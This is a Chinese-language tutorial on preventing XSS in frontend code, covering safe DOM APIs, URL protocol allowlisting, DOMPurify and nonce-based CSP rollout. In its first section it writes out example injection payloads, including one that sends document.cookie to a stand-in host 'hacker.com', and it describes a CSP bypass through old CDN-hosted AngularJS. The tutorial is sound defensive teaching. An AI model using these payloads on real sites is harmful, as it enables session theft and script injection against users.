前端防御XSS攻击：怎么防止恶意JS注入与CSP策略配置

图 0：前端 XSS 纵深防御全景架构（代码输入清理 + 浏览器内核策略双重保险）

一、前端恶意 JS 注入的根源与触发通道

跨站脚本攻击的本质，是应用程序将不受信任的外部数据，未经严格约束便直接拼接为浏览器可执行的脚本代码或 HTML 语法树。在现代单页面应用（SPA）与高交互前端项目中，攻击代码往往不再仅来自于后端模板渲染失误，更多来自于前端 JavaScript 处理数据流时的 DOM-based XSS。

前端代码中引发恶意 JS 注入的高危通道主要分为以下三类：

• HTML 结构拼接通道（DOM Sinks）：使用 element.innerHTML、outerHTML 或 document.write() 时，如果直接将 URL 参数（如 location.search）、LocalStorage 数据或接口返回的未过滤文本注入进去，恶意构造的 <img src=x onerror=alert(1)> 标签会立即触发事件执行。
• 属性与伪协议通道：在渲染超链接或资源跳转时，未校验 href 或 src 属性。若用户输入 javascript:/*--></title></style><script>fetch('//hacker.com?c='+document.cookie)</script>，只要用户点击链接或特定元素加载，就会以当前网站的上下文执行恶意脚本。
• 动态代码求值通道：使用 eval()、new Function()、setTimeout(stringCode, delay) 等能够把字符串当作代码执行的 JavaScript 原生接口。当传入的字符串包含未净化的用户输入时，攻击者可直接实现任意代码执行。

图 1：前端防御 XSS 的双层屏障体系（数据清洗与策略拦截互为兜底）

二、应用代码层的防御实操：切断注入路径

防御恶意 JS 注入的第一道原则，是在业务代码层面确保“数据永远是纯数据，不能进入执行上下文”。任何寄希望于手写正则表达式替换 <script> 的做法都是脆弱且极易被大小写、嵌套标签或属性事件（如 onload、onerror）绕过的。

1. 替代高危 DOM 操作 API

在向页面节点写入文本内容时，必须严格区分“纯文本”与“HTML 结构”。

• 使用 textContent 替代 innerHTML：textContent 或 innerText 会将输入的所有字符（包括 <, >, &, "）当作纯字符串挂载到文本节点，浏览器永远不会对其实施 HTML 解析。
• 使用安全方法构建 DOM 节点：通过 document.createElement() 创建节点，并使用 element.setAttribute() 或属性赋值注入文本。

// ❌ 高危写法：极易发生 DOM XSS
const userInput = new URLSearchParams(location.search).get('nickname');
document.getElementById('user-profile').innerHTML = `<span>欢迎你：${userInput}</span>`;

// ✅ 安全规范写法：使用纯文本绑定
const safeContainer = document.getElementById('user-profile');
const spanEl = document.createElement('span');
spanEl.textContent = `欢迎你：${userInput}`; 
safeContainer.replaceChildren(spanEl);

2. URL 协议合法性白名单校验

当业务需要动态接收用户提供的链接（如个人主页、跳转回调地址、头像图片）时，仅判断是否包含 http 并不安全，攻击者可以使用 javascript:alert(1) 或 data:text/html,... 构造自执行链接。

标准做法是通过 URL API 解析协议，并建立严格的协议白名单：

/**
 * 校验跳转 URL 是否符合安全协议规范
 * @param {string} rawUrl 外部传入的未知 URL
 * @returns {string} 安全的 URL，若不合规返回安全默认值
 */
function sanitizeRedirectUrl(rawUrl) {
  if (!rawUrl || typeof rawUrl !== 'string') return '/';
  try {
    // 利用浏览器内置 URL 对象进行绝对与相对路径解析
    const parsed = new URL(rawUrl, window.location.origin);
    const ALLOWED_PROTOCOLS = ['http:', 'https:', 'mailto:'];
    if (ALLOWED_PROTOCOLS.includes(parsed.protocol)) {
      return parsed.href;
    }
    console.warn(`[Security] 拦截非法协议调用: ${parsed.protocol}`);
    return '/';
  } catch (e) {
    return '/';
  }
}

3. 富文本渲染必须引入工业级净化工具（DOMPurify）

在论坛富文本、CMS 编辑器等必须输出 HTML 的场景中，开发者绝不能依赖自研转义函数。DOMPurify 是目前业界事实上的安全标准，它通过构建一个脱离主文档树的受控 DOM，对所有标签和属性进行白名单递归过滤，剥离所有的 JavaScript 挂载点（如 onclick、onerror 以及嵌套的恶意 SVG/MathML 畸形 Payload）。

import DOMPurify from 'dompurify';

// 净化配置：只保留业务必需的格式标签与链接
const cleanHtml = DOMPurify.sanitize(rawRichTextFromApi, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li', 'img', 'blockquote', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'target', 'class'],
  ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
  RETURN_TRUSTED_TYPE: false // 如果项目启用了 Trusted Types 可配合开启
});

document.getElementById('article-content').innerHTML = cleanHtml;

图 2：DOM 注入高危操作与安全替代方案对照

三、内容安全策略（CSP）核心机制与指令配置

即便代码经过严格审查，大型项目的第三方库依赖（Supply-chain Attack）或新业务功能的偶发疏漏，依然可能将恶意 HTML 写入 DOM。此时，必须依靠内容安全策略（Content Security Policy, CSP）在浏览器引擎层面强制建立沙箱防护。

CSP 的核心作用是通过 HTTP 响应头向浏览器声明一份受信任的资源加载白名单。浏览器在解析页面时，会严格审计每个脚本的来源与类型。一旦发现未被白名单放行、没有携带合法 Nonce，或者试图执行内联代码，浏览器内核会直接阻断该脚本的解析与运行，并可选触发违规告警。

1. CSP 关键指令集与基线配置

2. 现代生产标准：基于 Nonce 的严格 CSP（Strict CSP）

传统的域名白名单机制（如 script-src 'self' cdn.example.com）存在严重的被绕过风险：如果 CDN 上托管了存在 JSONP 接口或 Angular 历史漏洞的脚本，攻击者可直接引入该 CDN 资源完成绕过。因此，W3C 与主流浏览器厂商推荐采用基于密码学随机数（Nonce）的 Strict CSP 策略。

图 3：基于 Nonce 动态随机数的 CSP 脚本放行验证机制

服务端设置响应头的具体格式如下：

# Nginx 或网关层配置示例（结合动态产生的 $cspNonce）
add_header Content-Security-Policy "default-src 'self'; script-src 'nonce-$cspNonce' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'self'; report-uri /api/security/csp-report;" always;

在这个配置中，'strict-dynamic' 起到了承上启下的关键作用：

• 在现代浏览器中，'strict-dynamic' 会让浏览器自动信任由已放行合法脚本（带正确 Nonce）动态创建的后续 <script> 标签，从而完美兼容 Webpack、Vite 等模块打包工具按需拆包加载的 Chunk 脚本。
• 当 'strict-dynamic' 启用时，后面的 https: 和 'unsafe-inline' 会被现代浏览器自动忽略，仅作为老旧浏览器（不支持 CSP Level 3）的回退兼容方案。

四、CSP 落地实操指南：从零开始平滑上线四步法

在现有业务系统上推行 CSP 最忌讳直接全量强制拦截，否则容易因为某处遗留的内联事件（如 onclick）、第三方监控脚本或富文本插件导致全站功能瘫痪。规范的工程化推行流程应当分为四个阶段：

图 4：CSP 策略平滑上线四步法流程拆解

第 1 阶段：现状审计与代码收敛

排查前端工程中的所有内联事件处理机制，包括：

• 将 HTML 中的 <button onclick="doSomething()"> 全面改造为 JS 中的 button.addEventListener('click', doSomething)。
• 检查前端模板是否含有 javascript:void(0)，统一改写为标准按钮或 CSS 交互。
• 检查构建配置（如 Webpack/Vite），将热更新开发环境与生产环境隔离，确保生产包不生成 eval-source-map。

第 2 阶段：部署 Report-Only 模式与接收上报

在不改变网页行为的前提下，使用 Content-Security-Policy-Report-Only 响应头进行全量流量采样。此模式下，浏览器发现任何违规都不会阻断页面渲染，只会向 report-uri 发送 JSON 格式的违规报告：

# Nginx 阶段性配置：仅监控上报，不破坏任何现有功能
add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'; report-uri /api/csp-report-sink;" always;

服务端接收到的典型违规 JSON 格式如下：

{
  "csp-report": {
    "document-uri": "https://example.com/checkout",
    "violated-directive": "script-src",
    "effective-directive": "script-src",
    "original-policy": "default-src 'self'; script-src 'self'; ...",
    "blocked-uri": "inline",
    "line-number": 42,
    "source-file": "https://example.com/checkout"
  }
}

第 3 阶段：过滤插件杂音并引入 Nonce 架构

在收集日志时，经常会看到许多源自用户端浏览器扩展插件（如某类翻译插件、比价工具、密码管理器）注入的脚本报错（例如 chrome-extension://...）。服务端上报接口应建立规则过滤这些外部干扰，专心收敛主业务逻辑与官方依赖库。

第 4 阶段：正式切入 Enforcement 强制阻断

当日志平台上的主站业务报错连续数周稳定归零后，在反向代理（Nginx/Caddy）或 SSR 框架中将响应头名称由 Content-Security-Policy-Report-Only 变更为正式的 Content-Security-Policy，完成真正的闭环防护。

五、常见疑难问题排查与避坑指南

1. 为什么配置了 script-src https: 依然无法防住 XSS？

这是很多团队初期配置 CSP 时最容易犯的错误。有些开发者为了省事，写成 script-src 'self' https:。攻击者只需要寻找任意一个允许用户上传文件或者带有开放重定向（Open Redirect）的公有合法 HTTPS 服务（例如公共 CDN、云存储网关），即可构造类似 <script src="https://cdnjs.cloudflare.com/ajax/libs/angularjs/.../angular.min.js"> 的注入脚本，利用其旧版本漏洞绕过沙箱。因此，严禁在 script-src 中配置通配的 https: 协议，必须绑定具体的 Nonce 或严格域名白名单。

2. 纯静态单页面应用（SPA）没有服务端渲染，如何使用 Nonce？

Nonce 必须每次请求动态生成且不可预测。如果是完全托管在 CDN 静态存储（如 OSS/S3）上的单页应用，HTML 是静态的，无法做到每次由服务端动态下发随机 Nonce。此时有两种解决方案：

• 改用 Hash 策略（script-src 'sha256-...'）：对于打包生成的入口内联引导脚本，计算其内容的 SHA-256 哈希值写入 CSP。现代构建插件（如 csp-html-webpack-plugin）可在打包阶段自动完成这项哈希注入。
• 边缘函数（Edge Serverless）动态注入：利用 Cloudflare Workers、Nginx 等反向代理层，在静态 HTML 流经网关时动态注入当次请求的 Nonce，并同步写入响应头。

3. Cookie 凭据的最后一道护城河：HttpOnly 与 SameSite

除了代码清洗与 CSP，对于攻击者最渴望获取的登录态与鉴权凭据，前端架构师应推动后端将核心身份凭证 Cookie（如 session_id、token）全部加上 HttpOnly 与 SameSite=Lax 属性。一旦设置了 HttpOnly，浏览器即从根本上禁止了 document.cookie 对该字段的读取能力，即便页面偶发微量 XSS，攻击者也无法通过一行 JS 轻易盗取高危登录凭据。